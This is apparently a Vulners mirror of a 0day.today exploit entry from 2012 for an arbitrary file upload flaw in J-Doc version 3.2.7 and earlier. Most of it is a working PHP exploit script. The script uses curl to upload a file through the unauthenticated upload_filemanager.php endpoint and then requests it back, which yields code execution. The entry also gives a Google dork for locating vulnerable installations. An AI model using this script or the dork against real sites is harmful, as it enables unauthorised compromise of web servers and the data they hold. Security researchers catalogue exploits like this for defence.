Lucene search
K

J-Doc <= v3.2.7 Arbitrary file upload

🗓️ 10 Aug 2012 00:00:00Reported by leviathanType 
zdt
 zdt
🔗 0day.today👁 16 Views

J-Doc v3.2.7 Arbitrary file upload vulnerabilit

Code
<?php
# Exploit Title: J-Doc <= v3.2.7 : Arbitrary file upload
# Date: 2012-08-10
# Author: leviathan
# Vendor or Software Link: http://www.j-doc.com/
# Version: <= 3.2.7
# Category:: webapps
# Google dork: intext:"Système de partage de documents par Projet"
# Tested on: GNU/Linux with J-Doc 3.2.7 - PHP 5.3.2
# Demo site: 


// The vulnerable website
$base_url = 'http://localhost/jdoc/';
$file_to_upload = __DIR__.DIRECTORY_SEPARATOR.'info.php';
$file_to_call = pathinfo($file_to_upload, PATHINFO_BASENAME);
$folder = '.'; // related to the divers folder

$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $base_url.'divers/upload_filemanager.php?dossierup='.$folder);
curl_setopt($curl, CURLOPT_POST, true);
$post = array(
'Filedata' => '@'.$file_to_upload,
);
curl_setopt($curl, CURLOPT_POSTFIELDS, $post);

if (curl_exec($curl)) {
  echo file_get_contents($base_url.'divers/'.$folder.'/'.$file_to_call);
} else {
  die('error in the exploit');
}



#  0day.today [2018-04-09]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Aug 2012 00:00Current
7.1High risk
Vulners AI Score7.1
16